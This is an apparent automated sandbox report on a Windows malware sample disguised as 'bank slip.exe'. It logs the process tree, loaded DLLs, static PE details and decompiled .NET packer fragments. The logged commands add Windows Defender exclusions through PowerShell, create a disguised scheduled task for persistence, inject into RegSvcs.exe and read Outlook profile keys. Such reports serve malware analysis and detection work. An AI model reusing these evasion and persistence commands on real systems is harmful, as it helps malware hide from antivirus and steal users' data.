Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe "C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe"
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe "C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe"
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Users\user\Desktop\bank slip.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\bank slip.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: bank slip.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: bank slip.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: bank slip.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NjBW.pdb source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr
Source:	Binary string: RegSvcs.pdb, source: GUIVTme.exe, 0000000F.00000000.2169045059.0000000000EC2000.00000002.00000001.01000000.0000000D.sdmp, GUIVTme.exe.9.dr
Source:	Binary string: NjBW.pdbSHA256 source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr
Source:	Binary string: RegSvcs.pdb source: GUIVTme.exe, 0000000F.00000000.2169045059.0000000000EC2000.00000002.00000001.01000000.0000000D.sdmp, GUIVTme.exe.9.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.bank slip.exe.260f66c.1.raw.unpack, XG.cs	.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})
Source: 0.2.bank slip.exe.6750000.10.raw.unpack, XG.cs	.Net Code: Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777298)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777243)),Type.GetTypeFromHandle(global::cO.Ri.k2anMS(16777254))})

.NET source code contains potential unpacker

Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	.Net Code: bUZDm6yIUj System.Reflection.Assembly.Load(byte[])
Source: 0.2.bank slip.exe.5140000.8.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	.Net Code: bUZDm6yIUj System.Reflection.Assembly.Load(byte[])
Source: 0.2.bank slip.exe.35c9970.4.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0639A365 push 8B0405CCh; iretd	9_2_0639A36A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD7D37 pushad ; retf	14_2_05CD7D41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD6468 push eax; retf	14_2_05CD646E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD1778 push es; retf	14_2_05CD177A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD66A0 push esp; retf	14_2_05CD66A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD30F1 push ds; retf	14_2_05CD30F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD2838 push ss; retf	14_2_05CD2842
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD2298 push cs; retf	14_2_05CD22A2

Source: bank slip.exe	Static PE information: section name: .text entropy: 7.962545979931204
Source: mKSjGvfmIulVB.exe.0.dr	Static PE information: section name: .text entropy: 7.962545979931204

Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, HxsbFDEGN9yUQ06UPl.cs	High entropy of concatenated method names: 'Gs3vPaIkSA', 'IJsvsucB6B', 'sLevwPL59E', 'Qs5vHgSk4H', 'N5Qvq12YFH', 'vuQv8WOgXG', 'ecNv6ZBQl3', 'E54vWCcZYi', 'lNCvUqeyXf', 'g2RvfMJF8J'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, KDgZwpWiswQerbEGq0d.cs	High entropy of concatenated method names: 'qBDX8eiikioJA', 'UGCQwwCCfLZM3I1ggHM', 'SGOYgFCPK9EHS6B8L8W', 'dUWmDYCXUSL7yAo0bsp', 'BR2flPCm2JHJQ9EXNYO', 'YxSpPhCcTlucnEUgaBC'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RPBv9eW6P3fcSVhK7Q6.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nPv7OFCsXB', 'Mu97nTjuua', 'z1l7tpu6DC', 'vOx7B8pPPP', 'IB37y1uRxB', 'B8U7lqkR16', 'qgI7i2dV5v'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, h0ksr6wL5baDLWDeKh.cs	High entropy of concatenated method names: 'p9CXR6CL4I', 'af7XGTu5i1', 'tQar1Xlwxg', 'vY3rYuyqIP', 'IubXfLgSOa', 'stxXLgMs6T', 'qpkXu4RQIw', 'JpDXONZh4f', 'LvnXnpgEBJ', 'OpFXtHpTtq'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, LuAmB1CIIBw0IIen84.cs	High entropy of concatenated method names: 'uUAm34lTZ', 'J4xV4tVZt', 'sSZhNLRPU', 'W1jK3VSLN', 'OWMssnrw4', 'gEpIOrSt2', 'w3DfiEdqesAAVIUP75', 'hIxk1u9ltAxoTB6UJK', 'UU5ronB8n', 'wQy7Z3QBc'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, DhkeECurkuM2ajfWWK.cs	High entropy of concatenated method names: 'uDGr5yCfeX', 'wvWr0dnCB8', 'ymOrZ23Pt6', 'DOUrA7q92l', 'jh6rbEhjb8', 'hIMraGEVxT', 'Mf0rJh45n0', 'ygsreVyp0T', 'jgerkO4JJt', 'smxrjodxxm'
